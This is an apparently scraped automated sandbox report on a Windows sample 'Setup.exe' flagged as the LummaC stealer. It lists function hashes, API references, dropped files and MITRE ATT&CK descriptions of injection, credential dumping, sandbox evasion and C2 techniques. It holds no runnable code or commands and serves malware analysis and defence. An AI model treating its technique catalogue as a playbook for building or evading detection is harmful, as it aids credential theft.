Opcode ID: c5656dc9ce3b4377b1c94a894881be6a37c8a5f0dd79cd3e0d2b5eeaf624a896
Instruction ID: c5e5262b75383657fff1e00d5933f9845425142e4587076b4d992252f5e2c33b
Opcode Fuzzy Hash: c5656dc9ce3b4377b1c94a894881be6a37c8a5f0dd79cd3e0d2b5eeaf624a896
Instruction Fuzzy Hash: 3971F872B043106BF714AF69DC8676BB6D9DFD0B08F08453EF94593342E678ED04869A

Function 004341D4 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2471502a362a509f65ab3c27ae654f5789f7769227e2af482ff326b530408fe8
Instruction ID: 8aaca1967abda618aeb069be913bac36ccb16ae437c22cc081fff5941df4eeee
Opcode Fuzzy Hash: 2471502a362a509f65ab3c27ae654f5789f7769227e2af482ff326b530408fe8
Instruction Fuzzy Hash: B0912472608B804BD3158A38C4943E7BFD2AFEA318F19897DC5EB47347D579A446C706

Function 00413227 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 344bc2e207595128fb4e18ec7179ea163fa850e27879f8ddc177650b71fb659c
Instruction ID: 5c00d3aa2c9f8b2fd859af4c9a27dd41584c3821e5fc939f71e5e73ee3629ac7
Opcode Fuzzy Hash: 344bc2e207595128fb4e18ec7179ea163fa850e27879f8ddc177650b71fb659c
Instruction Fuzzy Hash: 4F911971518B808BD325DF38C9553AABFE2AB96314F088E6ED4EBC73C2D638D5058716

Function 00436520 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e40ce72b48ee7998a01d69976d8991305629fe76aabfbadc0200f8b96b580c
Instruction ID: 9fc45b4438b6cdfef42a477fd7d1afab73eb167522d7d940dc8f5b75dba43d7f
Opcode Fuzzy Hash: 19e40ce72b48ee7998a01d69976d8991305629fe76aabfbadc0200f8b96b580c
Instruction Fuzzy Hash: 42515827B195926BC7194A3C1C512BA6A430B5B330F3ED37ADDB1CB3E4C61D8C0A5359

Function 0042B03C Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b40d3bce74af9337768379dd9c5503dda08bd2bdfd3386cc8d6c810ae7dc15c6
Instruction ID: feacda48a00cbf52bca00e0442a3473f6ecee534d1a0838e995a402e0591ba01
Opcode Fuzzy Hash: b40d3bce74af9337768379dd9c5503dda08bd2bdfd3386cc8d6c810ae7dc15c6
Instruction Fuzzy Hash: 7951D376B046014BC71DCE2E99A163FB2D3ABC8310F59C13EE85A873C5EF74D8118685

Function 0043FC90 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7095f3be19f1b171fe850a7de2409c0da854d50316742a3f1b9341337d5160
Instruction ID: 49a34299c779da669c45a7ca7bba6004e07c81acf6df836dff5b914666ea0943
Opcode Fuzzy Hash: 3f7095f3be19f1b171fe850a7de2409c0da854d50316742a3f1b9341337d5160
Instruction Fuzzy Hash: 2E515732A043108BD7108F29C88575BB7A5EFC9715F18993AE894A7362D378EC09879A

Function 0043C152 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c4d34d28ff211429245c733027449bee1504e1121e4ff32258ba0558ded5d2
Instruction ID: e6612584a4d39b6c2588de873a670f356000ee2fc054c6dfd081cfa95e373b6b
Opcode Fuzzy Hash: c7c4d34d28ff211429245c733027449bee1504e1121e4ff32258ba0558ded5d2
Instruction Fuzzy Hash: 74619DB1A087548FE714DF29D49475BBBE1BB88308F044E2EE4D987391E779D6088F86

Function 0043C180 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2941a7b367f150150946be65622cc65c06d426a85559ebce3d8aed5128feb86
Instruction ID: e50d2dc8f3ec9ef24d498dace6064953d4300850802fea0cf98e63b4200b2c5a
Opcode Fuzzy Hash: f2941a7b367f150150946be65622cc65c06d426a85559ebce3d8aed5128feb86
Instruction Fuzzy Hash: 61516BB15087548FE714DF69D49435BBBE1BB88318F044A2EE4E987391E379DA088F86

Function 0041C692 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfdb8dd877c3c7a7d38cf03a7262899b66684a5b735e4deb688366cb823101f8
Instruction ID: 0955568d36c9b85c4c3f0cd02ac2a3af8c15efee8e33f8930422f4e0ef5d12f3
Opcode Fuzzy Hash: bfdb8dd877c3c7a7d38cf03a7262899b66684a5b735e4deb688366cb823101f8
Instruction Fuzzy Hash: 3B41C17094021187CB24DF18CCD2AB773B1EF65364F19521DE856AB3D1F378A940C7A8

Function 00405850 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81d02d21c632afa6be762cde65fceef2c8283075d10721c55edf9e642f617c1
Instruction ID: c3423fac2bd9d60a9134e16486bffbd40a0798329d78fcaf43687e666501da83
Opcode Fuzzy Hash: e81d02d21c632afa6be762cde65fceef2c8283075d10721c55edf9e642f617c1
Instruction Fuzzy Hash: EC5170B5A046009FC714DF18C88092BB7A1FF89328F15467DE895AB392D735EC51CF96

Function 004099A9 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b2cb179c961330f29ebbf84994d43743a4140769e7e11f77abc7e5bd91ed91
Instruction ID: c258609e37002d2745215e22ee6d6ac7cf512ded3ff052b142acfc862229733f
Opcode Fuzzy Hash: 49b2cb179c961330f29ebbf84994d43743a4140769e7e11f77abc7e5bd91ed91
Instruction Fuzzy Hash: 0F510F252093C1CFC719CF6C9884546BFA1AF7A200B4CCAEDD8859F747C664DA65CBE2

Function 0042D9C5 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c55a19ffa175d4d98c06b0ab6c6b0d4a3bf7635910573eb6678b2ba9ffd4f4da
Instruction ID: 8203e347efd36de3f3f860cb2be2a265d3cbf7796e78abf8cf9bee67c75a7ec2
Opcode Fuzzy Hash: c55a19ffa175d4d98c06b0ab6c6b0d4a3bf7635910573eb6678b2ba9ffd4f4da
Instruction Fuzzy Hash: 27319335B0C3518BD7088F25E850B3BB3A1FB96301FA8492ED59617691C3F9A9418B9E

Function 00439970 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 40e86927a3af7fd2e3f8e611723f4f22410bc1faaad8adacaecd0bbb6c4a9c23
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: A711E973A051D40EC3168D3C8440666BFA30E97235F19539EF4F99B3D7D6268D8A8359

Function 0042DE60 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e73d309f17c4f5610788fd024001330fc394db5079930bb6b2034b153c3c746
Instruction ID: cd10bc1187b7e640fe99cc0bed52d3a692554ebd2a30f8d909857c9525da888d
Opcode Fuzzy Hash: 6e73d309f17c4f5610788fd024001330fc394db5079930bb6b2034b153c3c746
Instruction Fuzzy Hash: E001B1F6F00B1187EB20AF51A8C0727B2A96FA0708F69553EE8045B342DB79EC04C6DD

Function 0042CC5F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40fbeb571b3c3a24c261c1df8d3c698d460aa80eb860ad97b407245f63a19fb6
Instruction ID: 6c829fd32569455c6d938ddd5e4c229e0f7c57dc7edbacc6d5cfb3d661b02ee6
Opcode Fuzzy Hash: 40fbeb571b3c3a24c261c1df8d3c698d460aa80eb860ad97b407245f63a19fb6
Instruction Fuzzy Hash: EE1151357083509FD304DF19E890A2BB7E1FB56311F58987EE4899B262C379D840CB8A

Function 00435930 Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043593A
VariantInit.OLEAUT32 ref: 0043594D

Strings

\, xrefs: 004359AB
-, xrefs: 0043596F
!, xrefs: 004359BF
?, xrefs: 004359C9
-, xrefs: 00435997
3, xrefs: 004359A1
2, xrefs: 00435983
7, xrefs: 004359B5
=, xrefs: 00435979
8, xrefs: 0043598D
(, xrefs: 00435965

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: !$($-$-$2$3$7$8$=$?$\
API String ID: 2610073882-1255047175
Opcode ID: 27c6920859c1b4e1365dfd269c59e12bf7e005718fd5d34dc652518209f776ea
Instruction ID: 452646070fd9e5458734a4f9e1c80f47e4d0169377dbdc21d069409c1d6dac9a
Opcode Fuzzy Hash: 27c6920859c1b4e1365dfd269c59e12bf7e005718fd5d34dc652518209f776ea
Instruction Fuzzy Hash: FD41247110C7C18ED326DB78844834AFFE16BA7324F084A9DE1E14B3D2D6B6814ACB53

Function 004356C5 Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 75COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004356CF
VariantInit.OLEAUT32 ref: 004356E2

Strings

3, xrefs: 00435736
(, xrefs: 004356FA
\, xrefs: 00435740
=, xrefs: 0043570E
2, xrefs: 00435718
?, xrefs: 0043575E
7, xrefs: 0043574A
-, xrefs: 0043572C
8, xrefs: 00435722
-, xrefs: 00435704
!, xrefs: 00435754

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: !$($-$-$2$3$7$8$=$?$\
API String ID: 2610073882-1255047175
Opcode ID: 554804a5a22c8d07e9cdda0f27d538de47f05e00fff8e4a7359c7b92d69d81ea
Instruction ID: d56681c75501bf97c69d588fc8ba144bfdee0fa4d1256071186a330235ff4b71
Opcode Fuzzy Hash: 554804a5a22c8d07e9cdda0f27d538de47f05e00fff8e4a7359c7b92d69d81ea
Instruction Fuzzy Hash: 4731F67050C7C18ED326DB68844834AFFE16BA7324F484A9DE1E04B3D6D6B6854ACB57

Function 00435FD0 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004360A7

Strings

|, xrefs: 004361C5
{, xrefs: 004361F5
v, xrefs: 00436205
w, xrefs: 004361D5
x, xrefs: 004361B5
j, xrefs: 00436235
s, xrefs: 00436225
s, xrefs: 00436215
x, xrefs: 00436265
w, xrefs: 00436285

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: j$s$s$v$w$w$x$x${$|
API String ID: 2525500382-2172040885
Opcode ID: ae4465e89c76f942159bb34a80869e8b630cd38f3c16300723ed1775d9b7af9c
Instruction ID: 7e89aeaaf24b1ad5297ca33c5de522f916ae25b00a82c4446701d149346e0e2b
Opcode Fuzzy Hash: ae4465e89c76f942159bb34a80869e8b630cd38f3c16300723ed1775d9b7af9c
Instruction Fuzzy Hash: 5791D52150CBC289D336C63C88097DFAED15BA7224F088BADD1FA5A6E2D7790146D367

Function 00435D9F Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 99COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00435DD7

Strings

#, xrefs: 00435E5D
5, xrefs: 00435E35
9, xrefs: 00435E21
#, xrefs: 00435E49
2, xrefs: 00435E0D

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: #$#$2$5$9
API String ID: 1927566239-987578143
Opcode ID: ba25f1ba800eb84554e514620c34945d49ec0cde08ef133b28ce732823e2babb
Instruction ID: cba3266f8aad4ec9e8e596bf17d17ae030c958599238294790c32e06474150da
Opcode Fuzzy Hash: ba25f1ba800eb84554e514620c34945d49ec0cde08ef133b28ce732823e2babb
Instruction Fuzzy Hash: 67414B7140C7C18ED3218B28889838FBFD16BDA328F594A5DE4E81B3D2C7B98505CB97

Function 0043533F Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 88COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043536E

Strings

9, xrefs: 004353B8
#, xrefs: 004353E0
2, xrefs: 004353A4
#, xrefs: 004353F4
5, xrefs: 004353CC

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: #$#$2$5$9
API String ID: 1927566239-987578143
Opcode ID: c039219e9a7082ced17bd6c7ec9eecb89d369b866f66a0a06d915f94000c61b5
Instruction ID: f5c49a9b1f49bf067b291b7b04fbd1eddaca4f273422725035fc13fe1b64ce1b
Opcode Fuzzy Hash: c039219e9a7082ced17bd6c7ec9eecb89d369b866f66a0a06d915f94000c61b5
Instruction Fuzzy Hash: C6412A7010C7C08ED3668B38889835EBFD15BAA328F585A9DF0E45B3E2C7798549C767

Function 0041E134 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 179threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 0041E164
IsWindowEnabled.USER32 ref: 0041E17B
IsWindowVisible.USER32 ref: 0041E190

Strings

2A, xrefs: 0041E324

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Window$EnabledProcessThreadVisible
String ID: 2A
API String ID: 2668887044-225269067
Opcode ID: 510cc9615e9c050fd1e7daeefa1bfe187d4e73a5770c4db4c7dddec49d02fa93
Instruction ID: 281257359348d559fb1ca2bd4625768fa95f333d4a8e38643a51b71ffb312810
Opcode Fuzzy Hash: 510cc9615e9c050fd1e7daeefa1bfe187d4e73a5770c4db4c7dddec49d02fa93
Instruction Fuzzy Hash: 5861D439608251CFC315CF29C85042EBBE1AFCA304F198ABDE8D5C7382D638E842CB46

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\bin\jsii-runtime.js

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\bin\jsii-runtime.js.map

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\lib\program.js

C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355\lib\program.js.map

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Setup.exe

Function 0041D667 Relevance: 18.3, APIs: 1, Strings: 9, Instructions: 763
COMMON

Function 00423330 Relevance: 14.4, Strings: 11, Instructions: 649
COMMON

Function 0040EE20 Relevance: 13.3, Strings: 10, Instructions: 762
COMMON

Function 00410370 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 360
COMMON

Function 0040F490 Relevance: 11.8, Strings: 9, Instructions: 528
COMMON

Function 00420D60 Relevance: 10.3, Strings: 8, Instructions: 336
COMMON

Function 00426B58 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 520
COMMON

Function 0043CAF0 Relevance: 9.0, Strings: 7, Instructions: 247
COMMON

Function 0043CE40 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 130
COMMON

Function 0042FD63 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 542
COMMON

Function 0042A4D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 292
COMMON

Function 00429FE0 Relevance: 5.4, Strings: 4, Instructions: 422
COMMON

Function 0043D028 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 279
memoryCOMMON

